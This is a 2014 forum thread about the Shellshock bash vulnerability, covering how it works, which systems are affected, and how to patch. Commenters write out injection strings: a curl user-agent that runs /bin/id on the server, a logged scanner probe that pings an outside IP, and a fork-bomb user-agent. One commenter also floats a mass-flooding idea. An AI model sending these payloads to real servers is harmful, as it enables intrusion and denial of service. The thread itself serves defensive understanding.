OK, I think I get that, but I want to make sure - pixie, you're saying that if in my http request I send, say, my user agent string as BLAH, then mod_cgi will, when calling the actual CGI in question, set up an environment variable called $USER_AGENT_STRING (or whatever) with the value BLAH, for access by the CGI itself to determine what the user agent string is?

As opposed to, say, starting up the CGI with the user agent string and such as argc/argv type stuff?
posted by Flunkie at 6:41 AM on September 25, 2014


This is a good write-up of the issue and includes examples of the commands used.

The most basic example is something like:

curl -A "() { :; }; /bin/id >/tmp/vulnerable" http://example.com/

This requests the page / on the site example.com sending a user-agent designed to trigger the bug and write the output of the command /bin/id to a file.
posted by pixie at 6:42 AM on September 25, 2014 [2 favorites]


pharm: This is the blog post describing what that researcher is doing, which I found via this comprehensive and quite readable writeup of the bug.
posted by orthicon halo at 6:45 AM on September 25, 2014 [1 favorite]


Flunkie: exactly, the wikipedia page on cgi includes a example that is pretty good.
posted by pixie at 6:45 AM on September 25, 2014


Yesterday's CNN article linked this associated this but strongly with home automation, specifically lightbulbs. My house is lit with nothing but Philips Hue bulbs connected to my main router at this point. Could someone tell me about the real additional risk of this, and what prophylactic measures to take while the bug gets sorted out? Googling last night turned up little info regarding lights as a vector, so I'm not sure if the article I read was just typical bad CNN reporting.
posted by a box and a stick and a string and a bear at 6:53 AM on September 25, 2014


I would be surprised if a lightbulb was using bash, but you never know.

There are probably lots of routers etc with crappy cgi based web interfaces though.
posted by pixie at 6:57 AM on September 25, 2014 [2 favorites]


> Yesterday's CNN article linked this associated this but strongly with home automation, specifically lightbulbs.

and they keep telling me that stubbornly running XP is insecure.
posted by jfuller at 7:01 AM on September 25, 2014




pixie: I would be surprised if a lightbulb was using bash, but you never know.

There is a minimized Linux called busybox that a lot of devices use. According to security guy Paul McMillan, busybox is not vulnerable -- which is a huge relief, as patching embedded stuff is a much bigger pain than patching a server.
posted by wenestvedt at 7:03 AM on September 25, 2014 [3 favorites]


Keep in mind though that the CGI exposure is only to the user who is running the web server. To install a rootkit a secondary weakness providing a local privilege escalation would have to be exploited.
posted by Poldo at 7:24 AM on September 25, 2014 [1 favorite]


So does this mean that a MAC scheme like SELinux or grsecurity would mitigate the damage by not letting the attacker escape from the web server account?
posted by indubitable at 8:04 AM on September 25, 2014




Poldo This may be true that a secondary vulnerability would be required that would provide privilege escalation, it's worth noting that this security hole allows the attacker to run arbitrary commands on the remote host, up to and include read-only commands that would provide more than information to a hacker to determine whether said secondary vulnerability exists. Things like kernel version, sshd version, and so on are all pieces of information that would be invaluable to hackers who are interested in getting said privileges.
posted by surazal at 8:10 AM on September 25, 2014


Work's gonna be fun today....
posted by Joe Chip at 8:16 AM on September 25, 2014 [1 favorite]


orthicon: There's a Xen exploit that's embargoed until the 1st October. I'd guess that the mass Amazon reboot is related to that - the timescale certainly matches up.
posted by pharm at 8:27 AM on September 25, 2014


pixie: "I would be surprised if a lightbulb was using bash, but you never know.

There are probably lots of routers etc with crappy cgi based web interfaces though.
"

Oh. Shit.
posted by symbioid at 8:43 AM on September 25, 2014 [2 favorites]


pixie: "There are probably lots of routers etc with crappy cgi based web interfaces though."

And most of them don't even have bash. Embedded linux boxes often use busybox, which has a very very stripped down /bin/sh. The Tomato firmware, for example, doesn't include bash, let alone use bash for /bin/sh. Same goes for my NAS.
posted by pwnguin at 8:46 AM on September 25, 2014 [2 favorites]


The Architecture of Open Source Systems has a great chapter on bash. The section on the parser in particular makes it seem like exploits like this are inevitable.

My favorite part of that chapter is this bit of valid bash:
for for in for; do for=for; done; echo $for
In any case, this still seems overblown to me. Anyone still running cgi scripts that call bash probably has a bunch of other vulnerabilities. Embedded systems and Android are on busybox, which isn't affected. The dhclient thing seems like the most practical attack, but that will probably be easily fixed soon.
posted by heathkit at 8:54 AM on September 25, 2014 [5 favorites]


Yeah, this isn't going to affect the major consumer sites like Heartbleed did.

But it'll affect EVERY early-2000s-era CGI-based site croaking along untouched for the last 10 years, which is a lot of sites. All of those sites probably already have vulnerabilities, but they don't have just ONE big all-encompassing vulnerability which affects everyone.
posted by miyabo at 9:04 AM on September 25, 2014 [1 favorite]


Yup, I've heard the Amazon thing is separate.

Also, this vulnerability first sounded like a joke to me.
posted by Pronoiac at 9:05 AM on September 25, 2014


The Amazon thing is interesting too. Amazon doesn't guarantee any specific uptime for AWS instances, and encourages users to expect that they will go down frequently -- that's why they provide easy ways to implement redundancy. But in practice, individual instances often do last a long time. I had one that ran for 3 years uninterrupted. So a lot of customers are going to be mad, even if they shouldn't be.
posted by miyabo at 9:07 AM on September 25, 2014


The Mac instructions for a new build worked as described (except for the strange command-line license agreement, retry with sudo and type "agree"). But then they said this patch isn't full protection, a second bug was found. A new second patch is in development but the test version doesn't work.

Oh man I would hate to be a maintainer of a hugely important system tool like bash.
posted by charlie don't surf at 9:45 AM on September 25, 2014


So, I'm a Windows developer and don't know linux (or Windows server admin stuff, really), but I did search our IIS logs (Windows 2008) just now and found stuff from today like this:

2014-09-25 06:24:24 xx.xx.xx.xx GET /cgi-sys/defaultwebpage.cgi - 80 - 89.207.135.125 ()+{+:;};+/bin/ping+-c+1+198.101.206.138 302 0 0 187

Is this someone just hitting all the web servers out there to see if they are 1) running Linux and 2) vulnerable to the attack? That's what it looks like to me.
posted by freecellwizard at 9:56 AM on September 25, 2014 [1 favorite]


Example of a load balancer that is vulnerable.
posted by pixie at 9:58 AM on September 25, 2014 [1 favorite]


This is why I hate my job. If someone tells you InfoSec is a great career, it means they're not actually in InfoSec.
posted by tommasz at 10:01 AM on September 25, 2014 [13 favorites]


Do consumers need to be worried about their routers?
posted by Aizkolari at 10:04 AM on September 25, 2014


It's pretty appalling that so much software which needs to be secure invokes /bin/bash in the first place, since it has been a source of security problems for literally decades (not bash specifically, but exploits that rely on a shell interpreting things like the IFS environment variable). It's not that hard to fork/exec instead of using system().

Honestly I don't really get the widespread panic, though, since cgi-bin hasn't really been in wide use since the late 90s, nor should it be.
posted by whir at 10:13 AM on September 25, 2014


I think the most nefarious thing about the Heartbleed bug was that it really didn't leave a trace that it was happening (a type of attack that really didn't get logged in any detail by most systems). With ShellShock, it looks like we'll atleast have a much clearer picture that it is happening.
posted by samsara at 10:15 AM on September 25, 2014 [1 favorite]


Very amusing tests and exploits stuff in #bashbug.
posted by jeffburdges at 10:19 AM on September 25, 2014


About consumer routers, I would tend to think the majority of them use busybox rather than bash. Certainly all the open firmware distributions I'm aware of do. Bash uses a lot of resources and space, relative to the storage and RAM resources available on embedded systems, so it wouldn't really make sense for manufacturers to ship it in their firmware.

A lot of open-source firmware distributions I've seen do write their front-end web configuration software in sh, though. These get executed by busybox and so are not vulnerable to this particular bug, but in general writing web software in sh is just a nightmarishly bad idea from a security perspective.
posted by whir at 10:20 AM on September 25, 2014


The bug is not specific to Linux. Windows machines could be vulnerable if they have bash installed and serving CGI's via something like gnuwin32/mingw32 or Windows Services for Unix.
posted by Poldo at 10:48 AM on September 25, 2014 [1 favorite]


The vulnerability is in this file (old version used on Mac OS X): http://www.opensource.apple.com/source/bash/bash-30/bash/variables.c

It's in initialize_shell_variables():
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
	{
	  string_length = strlen (string);
	  temp_string = (char *)xmalloc (3 + string_length + char_index);

	  strcpy (temp_string, name);
	  temp_string[char_index] = ' ';
	  strcpy (temp_string + char_index + 1, string);

	  parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
parse_and_execute() will do just that with the environment variable (in "string") if it starts with "() {". Before the first patch, there is no way to tell parse_and_execute that it should only allow a function definition.

The patch adds:
+ #define SEVAL_FUNCDEF	0x080		/* only allow function definitions */
+ #define SEVAL_ONECMD	0x100		/* only allow a single command */
And changes the call to parse_and_execute to parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);

But apparently the modification made by the first patch to parse_and_execute isn't 100% airtight. As heathkit notes, the problem is partly that bash has a very complex parser that has to accept some very strange input. It's implemented using Bison/Yacc is very coupled to the lexer, so it's quite complex.
posted by Monday, stony Monday at 11:11 AM on September 25, 2014 [4 favorites]


I was housesitting a few months ago and I plugged into their DSL modem, holy moly it's a Cisco 678, which was vulnerable to the Code Red worm back in 2001, discontinued shortly thereafter, End Of Lifed around 2006. You will never ever get rid of all the ancient vulnerable junk on the internet. But I doubt there is any point in exploiting Code Red, there aren't enough vulnerable systems anymore.

Yeah this bash bug could be like the Code Red event, which was pretty damn serious and it did break the internet for a while.
posted by charlie don't surf at 11:30 AM on September 25, 2014


I would be surprised if a lightbulb was using bash, but you never know.

If the fact that this sentence is true isn't a sign that we are living in the future, I don't know what is.

(Also, I had no idea about hue. I'm barely restraining myself from buying it all, right now. Looking at the details, the lightbulbs themselves use a different wireless protocol than normal internet wireless, one designed for short ranged networks (Zigbee), and they aren't directly network accessible. So it is the bridge that would potentially be running bash in a risky way, not the bulbs themselves. My guess is that the lightbulbs don't have much, if anything, in the way of software/firmware, for power reasons. But quick googling hasn't revealed much about what the bridge's firmware is and it could well be linux-based.)
posted by advil at 11:43 AM on September 25, 2014 [1 favorite]


I'm curious : Just who thought it wise to execute code in arbitrary environment variables? wtf?!?
posted by jeffburdges at 12:42 PM on September 25, 2014 [1 favorite]


Ermm... I just got the following message on our mail server:

"The POP3 mail server (servername) does not support UIDL or XTND XLST, which are required to implement the ``Leave on Server'', ``Maximum Message Size'' or ``Fetch Headers Only'' options. To download your mail, turn off these options in the Server Settings for your mail server in the Account Settings window."

Any relation to this?
posted by symbioid at 12:42 PM on September 25, 2014


I'm curious : Just who thought it wise to execute code in arbitrary environment variables? wtf?!?

Some bash contributor back in 1992, I'd guess...
posted by heathkit at 12:46 PM on September 25, 2014


Well, it's only supposed to be a function definition, and it's really a feature meant for the "user interface" aspect of the shell. IMO it should be disabled in non-interactive mode. In fact, it would be best if the shell completely ignored its environment when it's called as a scripting tool; that might mean that callers to system(3) would have to pass some additional information by another way, though.

Also, in the interest of security, I, in my role as King of the World, would decree that the use of the Posix Bourne Shell is forbidden in all OS scripts, because it's simply not specified well enough.

If I may, I would now do a bit of pepsiblue and shill the Shill shell.
posted by Monday, stony Monday at 12:54 PM on September 25, 2014 [1 favorite]


I don't know why every article on this bug says embedded systems aren't affected. It is common to put bash on an embedded box, since bash makes development and debugging more convenient. The commercial embedded system I'm working on now has bash installed and linked from /bin/sh. The $64k question is: was bash removed from the shipping product after development was completed?
posted by monotreme at 1:18 PM on September 25, 2014 [1 favorite]


...or just skip interpretation by a shell in the first place, and directly exec the process you want to run. Half the time it's just being used to fire up a scripting language interpreter anyways.

Symbioid, I doubt that message is related. For the most part, mail servers shouldn't need to invoke subprocesses, and even if they did it is comparatively difficult for an attacker to inject an environment variable into the subprocess. To exploit this bash bug on a cgi-bin web server, you just need to add some stuff to a header.
posted by whir at 1:29 PM on September 25, 2014


It is common to put bash on an embedded box, since bash makes development and debugging more convenient.

Sure, I could see that, but the question is whether your web-facing software then uses bash to execute cgi-bin applications. I feel like cgi-bin itself is a bit of a relic; nginx doesn't even support it, and it isn't widely used because launching a new process per http request (actually two, if you're launching bash and using it to invoke a perl interpreter or whatever) winds up scaling very poorly. I'd venture to guess that most small-to-medium sized hosting is done through mod_php or FastCGI or a similar server module these days.
posted by whir at 1:40 PM on September 25, 2014


I'd like to test my home router to see if its vulnerable. But I'm not all that savvy on web protocols, etc.

I tried a couple of the curl commands in one of the linked articles and just got back a "401 unauthorized" web page in response. The response page seemed to indicate that it was using micro_httpd for a web server. Not sure if this means I'm safe or if I'm just not testing it right.

Is it possible to craft a simple URL request in a browser to test this, or is something more complicated needed?
posted by DarkForest at 1:46 PM on September 25, 2014


A researcher has demonstrated a DHCP proof-of-concept exploit.
posted by RobotVoodooPower at 2:14 PM on September 25, 2014 [6 favorites]


Is it possible to craft a simple URL request in a browser to test this, or is something more complicated needed?

The curl request should do it. Most likely your browser is storing username/password information in it and that's why you're getting a 401 response. If your router uses HTTP Basic authentication (likely), you can add a "--user username:password" flag to your curl command line to pass the credentials with your request.
posted by whir at 2:14 PM on September 25, 2014


Everything I have public facing is now patched or wasn't vulnerable but it just occurred to me: is this a potential issue on routers running DD-WRT?
posted by ndfine at 2:19 PM on September 25, 2014 [1 favorite]


is this a potential issue on routers running DD-WRT?

Bash isn't installed by default.
posted by Nonsteroidal Anti-Inflammatory Drug at 2:28 PM on September 25, 2014 [1 favorite]


Slackware update -- they just released a new patch that fixes the "date" test listed above. Same path as the link I put in up above, but they changed the filename to a "-2" in the middle.
posted by AzraelBrown at 2:28 PM on September 25, 2014


This is a new DDoS waiting for its first PoC. Who needs the management headache of a botnet when you can keep a simple CSV of URIs you can use for a massive magnification attack launched while you're on TOR?

I'm not sure I care as much about the potential for some old piece of crap embedded device getting owned as much as I am about 100,000 of them flooding outbound at a single IP. You could even detect local bandwidth and set a constant usage of 20% of capacity to delay detection.
posted by bafflegab at 2:32 PM on September 25, 2014


OH GOD NO *boots up Wasteland 2 and forgets about it forever*
posted by turbid dahlia at 3:16 PM on September 25, 2014


So a newer version of bash did appear in Debian repositories, but...
$ env X='() { (a)=>\' bash -c "echo date"; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 18:19:48 EDT 2014
posted by one more dead town's last parade at 3:22 PM on September 25, 2014


As for an example of what would be vulnerable, an attacker could look for any cgi-based perl script that invokes external programs using `backticks` (they always call /bin/sh) or system() with metacharacters (like "*" or "?"; if there are no metacharacters, system() won't call /bin/sh).

Another worry is that really, passing any untrusted input in something as complex as the Bash parser is a terrible idea, because that thing was never built to handle an adverse input.
posted by Monday, stony Monday at 3:25 PM on September 25, 2014 [3 favorites]


...just sitting here watching my one elderly server upgrade itself to Ubuntu 14 LTS.

Patching bash... good. let's go... but we really need a more restrictive kind of 'shell' to be employed for all those non-commandline or other not-authenticated uses. One size does not always fit all.
posted by Artful Codger at 3:38 PM on September 25, 2014


You mean something like shill maybe?

I'm not a security expert but I think that the less shell scripting done the better. Use a real language with real tools and keep the language simple and easy to read.
posted by rdr at 3:46 PM on September 25, 2014


bafflegab wrote:
I'm not sure I care as much about the potential for some old piece of crap embedded device getting owned as much as I am about 100,000 of them flooding outbound at a single IP.
There's already a substantial problem with home routers that run (usually caching-only) nameservers (typically dnsmasq) being used for DNS reflection attacks. You'd think it would be obvious to the makers of such devices not to answer DNS queries from the WAN side but apparently that didn't become the conventional wisdom until millions of devices that would happily answer queries on port 53 were already out in the field.

Since most DNS traffic is UDP, spoof a source address and send a single small request packet that gets a large response (RTYPE "any" requests for domains that are DNSSEC-signed are really popular..) and you can have WiFi access points and DNS routers all over the internet participate in your magnification attack against a target without even having to compromise them first.
posted by Nerd of the North at 4:19 PM on September 25, 2014


Use a real language with real tools and keep the language simple and easy to read.

If you call system() in python (or PHP, or Perl...) to run an executable, it invokes /bin/sh whether or not you really need it. And if that's symlinked to bash, you're pwned, even if you didn't write a single line of bash.

Now people ought to know not to use system() unless they really really need it, but still...
posted by BungaDunga at 4:49 PM on September 25, 2014 [1 favorite]


FWIW, python's official documentation for os.system() warns not to use it in favor of the subprocess module, which doesn't invoke a system shell unless you pass in a flag explicitly - and then that documentation warns you that using the flag is a security risk. (Which is nice, but of course nobody is forcing anyone to write good code.)
posted by whir at 6:54 PM on September 25, 2014


A newer bash showed up on Linux Mint:

env X='() { (a)=>\' bash -c "echo date"; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
date
cat: echo: No such file or directory

Looks like it is fixed this time.
posted by eye of newt at 8:07 PM on September 25, 2014


I just updated the bash on my Mac to one that does not have the vuln as originally described.

I installed MacPorts as it was a new work machine which didn't have it.
http://macports.org

Then you run Terminal.

# put a new bash at /opt/local/bash
sudo port install bash
# run the new bash
/opt/local/bash
#replace the bad bash with a copy of the good one
sudo cp /opt/local/bash /bin/bash
(You have to copy over the bad bash not just install a parallel good one, or the bad one can still get invoked depending on the path, how it's called, etc.)

I actually did a symlink not a copy on my machine, so I'd only have one copy of bash around, but it's the same idea.
posted by w0mbat at 8:26 PM on September 25, 2014


On a mac you probably want to overwrite /bin/sh as well as that is a separate copy of bash

➜ ~ /bin/bash --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
➜ ~ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
➜ ~ ls -l /bin/bash /bin/sh
-r-xr-xr-x 1 root wheel 1228240 23 Oct 2013 /bin/bash
-r-xr-xr-x 1 root wheel 1228304 23 Oct 2013 /bin/sh
posted by pixie at 12:28 AM on September 26, 2014


artful codger:but we really need a more restrictive kind of 'shell' to be employed for all those non-commandline or other not-authenticated uses. One size does not always fit all.

Ubuntu already has this. The Debian debs decided that /bin/sh would be a POSIX-conformant shell & nothing else a few years ago & symlinked /bin/sh to dash instead of bash. Ubuntu inherited this change.

There are a few lurking scripts that explicitly invoke /bin/bash but calls to system() and binaries run via backticks in perl and the like are safe from this bug in all Debian derived distributions.
posted by pharm at 1:13 AM on September 26, 2014


In yet another demonstration that I don't have the twisted mindset required to create this stuff, someone on stackoverflow pointed out that you could wreck all kinds of havok by setting your browser user agent string to
() { :; }; :(){ :|: & };:
I need to work on my evil genius rating clearly!
posted by pharm at 1:53 AM on September 26, 2014 [1 favorite]


Hackers Are Already Using the Shellshock Bug to Launch Botnet Attacks, Andy Greenberg, Wired Threat Level, 25 September 2014
posted by ob1quixote at 3:13 AM on September 26, 2014


My OS came out with a second patch, but I'm not sure it's working. The first test is clear to me, but the second test is not:
env X='() { (a)=>\' bash -c "echo date"; cat echo
I am confused by the possibly escaped single quote and by the lack of an end brace for the function. Could someone please explain to me:

(1) What this command should do in a world without bugs

(2) What this command would do on an unfixed system in a world with this bug

Thanks.
posted by Flunkie at 4:45 AM on September 26, 2014


Flunkie, on a vulnerable bash that command ends up writing the output of the command date to a file called echo and then outputs the contents of that file.

On a fixed bash it should give a syntax error and then a file not found error.
posted by pixie at 5:03 AM on September 26, 2014


that command ends up writing the output of the command date to a file called echo

It's not entirely clear to me why it does this, as the first command doesn't actually ask that the output of date be written anywhere.
$ bash -c "echo date"
date
$ cat echo
cat: echo: No such file or directory
posted by one more dead town's last parade at 5:10 AM on September 26, 2014


On mine it does neither of those. Previously (before I applied this patch) it did what you described for "on a vulnerable bash", but now it does not do what you describe "on a fixed bash". Instead, it outputs the word "date" (not the output of the date command, nor a syntax error) and then a file not found error ("cat: echo: No such file or directory").
posted by Flunkie at 5:11 AM on September 26, 2014


The two lines of output from the two commands in one more dead town's last parade's comment are exactly the two lines that are output by the one "env blah blah" for me.
posted by Flunkie at 5:14 AM on September 26, 2014


Flunkie, sorry I missed it outputing 'date' in the fixed example.

This is the output I get on a fixed bash:

bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
date
cat: echo: No such file or directory

and this is on a vulnerable version:

bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Fri Sep 26 13:17:35 BST 2014
posted by pixie at 5:19 AM on September 26, 2014


That ("on a fixed bash") is almost what I get; it doesn't have the first three lines about there being an issue with X, but it does finish up with what your final two lines are. It's still unclear to me whether or not this means it's really been fixed for my OS, since (apparently) my OS doesn't think there's a syntax error in X. It doesn't run the date command, and I guess that's great and all, but it still (apparently) likes X.
posted by Flunkie at 5:23 AM on September 26, 2014


The weird thing is that I still get this and a file called echo from the incompletely fixed version (*cough* Debian *cough*):
$ env X='() { (a)=>\' bash -c "echo date"; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Fri Sep 26 08:21:24 EDT 2014
Whatever it's doing, it's not as simple as "interpret everything after this point as a command."
posted by one more dead town's last parade at 5:24 AM on September 26, 2014


Thinking back, I'm not sure whether or not I got the lines complaining about X when I tried it before I patched... I wish I had saved the output.
posted by Flunkie at 5:27 AM on September 26, 2014


As to how it works.

The env is set to '() { (a)=>\'

Bash evaluates that as a function because it starts with '() {'

The evaluation fails because it is not a valid function.

Bash gets screwed up at this point and ends up running '>\echo date'

which is equivalent to running 'date > echo'
posted by pixie at 5:39 AM on September 26, 2014 [4 favorites]


What I don't understand is how this slipped by all these years? How was it suddenly discovered? I mean, it seems so trivially easy that surely one shell guru somewhere must have known about it?
posted by dukes909 at 7:06 AM on September 26, 2014


(Also, I had no idea about hue. I'm barely restraining myself from buying it all, right now. Looking at the details, the lightbulbs themselves use a different wireless protocol than normal internet wireless, one designed for short ranged networks (Zigbee), and they aren't directly network accessible. So it is the bridge that would potentially be running bash in a risky way, not the bulbs themselves. My guess is that the lightbulbs don't have much, if anything, in the way of software/firmware, for power reasons. But quick googling hasn't revealed much about what the bridge's firmware is and it could well be linux-based.)

Just following up this (insane) possibility, other brands of lightbulbs _are_ directly network available, and LIFX bulbs have even had a security issue in the past. I still can't figure out what their firmware involves and it still sounds like it is way too lightweight to involve anything remotely like bash. But, we are living in a world where your lightbulbs can be hacked...

(Also, I lasted about 12 hours and dropped an amount of money that I'd prefer not to specify on hue stuff.)
posted by advil at 7:23 AM on September 26, 2014 [1 favorite]


I think anyone who's knocked up a domain specific language using lex/yacc probably isn't surprised that this sort of thing is not only feasible, but highly probable. The scary bit is that this one is used in the way it is.

That said, if I ever need to pick a distribution, Debian just shot to the top of the list.
posted by inpHilltr8r at 7:43 AM on September 26, 2014


How was it suddenly discovered?

Nobody was really looking for it. Ideally there would have been a thorough security audit of all essential parts of the GNU operating system (such as bash), but that hasn't really happened. People did find vulnerabilities in bash, like CVE-2012-3410, but I don't think it was seen as a particularly insecure piece of software.

Because bash is often used as /bin/sh, and because several standard C functions, such as system() and popen() will call /bin/sh on their arguments, it should have received special attention. These functions are a well-known source of vulnerabilities, and the vector, the environment, is also known to be dangerous (in fact, Github was bitten by it a few months ago).

So I would say complacence, but without the aggravating factor present in Heartbleed, where the OpenSSL code was so awful that people who looked at it recoiled in horror and hoped the maintainers knew what they were doing (they didn't). Here, it's just a program created by the Free Software Foundation (founded by Richard Stallman), and maintained by a developer from the IT department of Case Western Reserve University, that was included in a bunch of OSes without thinking too much about it, and that just happened to have a terrible bug no one had noticed.

Essentially, this is because most software is developed to add features, with security playing fourth or fifth fiddle. It's also because the security of the "base Unix" part of the GNU system (which serves as a basis for Linux distros) has not received the attention it needs. The squeaky wheel gets the grease: notoriously unsafe software like sendmail or OpenSSL after Heartbleed get fixed or replaced by secure alternative, but the security of ordinary stuff like bash is left as an exercise for the maintainer.
posted by Monday, stony Monday at 8:29 AM on September 26, 2014 [3 favorites]




Has anyone seen the code yet? There must be a .c file out there somewhere, where the mis-parse is detected but this condition isn't handled properly. Or a lex or yacc file, if bash uses them.
posted by benito.strauss at 11:10 AM on September 26, 2014


benito.strauss: See my comment. It's in the variables.c file. Earlier versions call parse_and_execute with no flags, later ones with SEVAL_NOHIST and SEVAL_NONINT, and patched ones with the (newly defined) SEVAL_FUNCDEF and SEVAL_ONECMD flags.
posted by Monday, stony Monday at 11:30 AM on September 26, 2014 [1 favorite]


Apple is lying when they claim the 'vast majority' of Mac users are unaffected. All servers should be assumed to be vulnerable unless shown otherwise. And Apple doesn't know what servers the 'vast majority' of Mac users run. You could disable sharing services and enable your firewall if you're worried.
posted by jeffburdges at 12:37 PM on September 26, 2014




Apple is lying when they claim the 'vast majority' of Mac users are unaffected.

No. Like most "Aha, gotcha, Apple!" moments (bendgate, anyone?) this is untrue. Most users who use their macs as personal computers are unaffected. The biggest risk seems to be rogue DHCP servers... which will be rare to the point of idiocy. Nothing on your mac will allow an unauthenticated shell call - believe the hype only when an "in the wild" sploit exists for "the vast majority" (as of yet, it don't.)
posted by Slap*Happy at 7:46 PM on September 26, 2014 [1 favorite]


> Apple is lying when they claim the 'vast majority' of Mac users are unaffected. All servers should be assumed to be vulnerable unless shown otherwise.

Macs ship with Apache installed and configured but not enabled. Enabling requires admin-level privileges. The first user account is admin (but not superuser) by default, but the system does not need web services running and vanishingly few third party apps use it.

"Vast majority" is probably correct. A non-zero quantity of Macs have web services enabled, but far fewer than the number of Macs in use. Even desktop web developers who don't use VMs tend to rely on sandboxed environments like Webstorm or MAMP rather than the embedded Apache server because they need something more closely resembling production environments and the added turnkey features are handier than the comparatively simple options a base Mac install provides.

If you know for a fact that this is not true and that most Macs are running active web servers, I'd like to hear about it because it means I've got some work to do.
posted by ardgedee at 7:53 PM on September 26, 2014 [2 favorites]


Monday, stony Monday: "Nobody was really looking for it."

Are you sure? Why?

Heartbleed was found by fuzz testing. I've seen some more advanced fuzzing tools that might be able to find this bug in the grammar.

To the best of my knowledge, it has not been stated how this was found. And Stephane, who found the bug, had been studying bash flaws for a while now.
posted by pwnguin at 11:22 AM on September 27, 2014 [1 favorite]


Maybe I should say that people weren't looking for it hard enough.

It's not really a bug in the grammar: the original code just assumes that the environment variable only contains a function definition, without checking itself, and sends it to parse_and_execute() without telling it that it should only accept a function definition.

Given that environment variables are a common source of vulnerabilities, that bash is insanely common (part of the base system of most distros), and that the bug is really an "oh shit" one, I think a security review targeting environment vulnerabilities would have caught this one.
posted by Monday, stony Monday at 11:56 AM on September 27, 2014


IDK, I consider that a bug in the implementation of the grammar. Whatever. The point is you can fuzz the parser, and if you have a decent set of examples (we do), machine learning tools can be taught to generate things that very nearly follow the grammar and hopefully find such bugs much faster than random chance dictates.

The main question is how you know you've found something interesting. Fuzz testers normally just try to crash the program, and hunt down ways to do so. But bash shouldn't crash on this input, and doesn't. It might be wise to print out 'this is invalid bash', but random characters are almost always invalid bash, so this would be expected. In this case, you'd be looking for something you have a strong belief is invalid bash that bash thinks is valid.

There's probably a lot of other techniques that could be applied (like taint analysis), but shellshock is a moving target right now, so it feels a bit too early to speculate on the shape security testing of shells should look like.
posted by pwnguin at 12:47 PM on September 27, 2014


I'm not a security expert but I do understand enough about how the Shellshock exploit works to know that one doesn't need to have cgi-bin scripts running to be affected by this bug.

I'm running OS X-based servers, including a web server among other things, and sort of watched this fire flicker up and start throwing sparks thinking "Wow this is potentially a gigantic conflagration and one of those live sparks could set me on fire".

The next thing I knew, I was on fire.

That is, I'm pretty sure the root of my web directory was vandalized (deleted) early this morning using the first technique described here on "Invisible Threat" (also linked upthread).

I was miffed, thankful that I backup nightly, fixed my bash according to these (also linked upthread) instructions, and restored from backup.

All that said, I'm irked at the upthread downplaying of this vulnerability on non-server Macs.

Have you all tested Apple's flavors of Bonjour, AFP, SAMBA, and other network services which non-technical users enable on their machines to get basic network functionality and make sure they don't make references to /bin/sh anywhere at all?

No?

Then stop diminishing this vulnerability.

It's like telling someone with a serious immune deficiency that it's OK to go into an infectious diseases lab with nothing more than a surgical mask because they don't regularly inject pathogens into their bloodstream.

Please stop diminishing this threat and help people protect themselves because, from what I can see, this bug does bite and has the potential to become a worm. Quoting:
Consequently, even though my light scan found only 3000 results, this thing is clearly wormable, and can easily worm past firewalls and infect lots of systems. One key question is whether Mac OS X and iPhone DHCP service is vulnerable -- once the worm gets behind a firewall and runs a hostile DHCP server, that would "game over" for large networks.
posted by mistersquid at 5:59 PM on September 27, 2014 [1 favorite]


It just keeps on giving.

"bash[3054]: segfault at 41414141 ip 00190d96 ..."

People are now fuzzing bash/other shells more aggressively. Expect more CVE's and parser bugs. I expect things will be rewritten.

If your web server got defaced, unless you've done the forensics on what exactly happened to it once it got popped, you should probably burn it. If you're suggesting you got popped via Apache without running any cgi-bin scripts, or system() etc (i.e. a new attack vector) I'd be surprised. I don't think people are downplaying this bug, it's just at the time there wasn't a complete patch out. So, there really was not a lot to do. For non-servers having an out of date browser is probably a bigger risk element than this, it's just a matter of perspective.
posted by yeahwhatever at 6:28 PM on September 27, 2014


If your web server got defaced, unless you've done the forensics on what exactly happened to it once it got popped, you should probably burn it. If you're suggesting you got popped via Apache without running any cgi-bin scripts, or system() etc (i.e. a new attack vector) I'd be surprised.

Yeah, I've had a long-term project to migrate from PPC (Snow Leopard) to Intel (first Lion, then Mountain Lion, then Mavericks : P).

My logs show this

[Sat Sep 27 01:37:53 2014] [error] [client XXX.XXX.XXX.XXX] Invalid URI in request GET HTTP/1.1 HTTP/1.1
[Sat Sep 27 01:37:53 2014] [error] [client XXX.XXX.XXX.XXX] Invalid URI in request GET HTTP/1.1 HTTP/1.1


followed by a whole bunch of not found errors (for various PHP admin scripts). Around 01:45 my cron demon began complaining every five minutes that it couldn't find the directories to run its periodic tasks.

If the purpose was to install a root-kit, defacing my web root was pretty dumb (though not beyond possibility). I'm guessing that the break-in was limited to the privileges under which my Apache runs (which is as the _www user) which has no access to any other part of the server system… that I know of.

But now I just recalled that my new incompletely raised server has a vulnerable BASH.

Criminy.
posted by mistersquid at 6:53 PM on September 27, 2014


In case any Mac users are still tracking this thread, there's an official fix out:

http://support.apple.com/kb/DL1769?viewlocale=en_US&locale=en_US
posted by gwint at 8:04 PM on September 29, 2014


It is strange that the official Apple OS X Bash Update 1.0 did not appear in regular system updates. Maybe it just hasn't shown up yet. Maybe you have to go search for it specifically and download it. That seems perilous.

The Apple updater worked fine even over the stackexchange instructions for compiling a new version of bash. Here is the version check, from before (with the stackexchange v3.2.52 patch that was supposedly still insecure) and after the Apple update.

$ bash --version
GNU bash, version 3.2.52(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.

$ bash --version
GNU bash, version 3.2.53(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.


LOL (C) FSF.

Now I should probably remove the bash.old and other detritus from the stackexchange procedure. I hope that 3.2.53 is sufficiently secured, it does pass the second security test.
posted by charlie don't surf at 9:34 PM on September 29, 2014


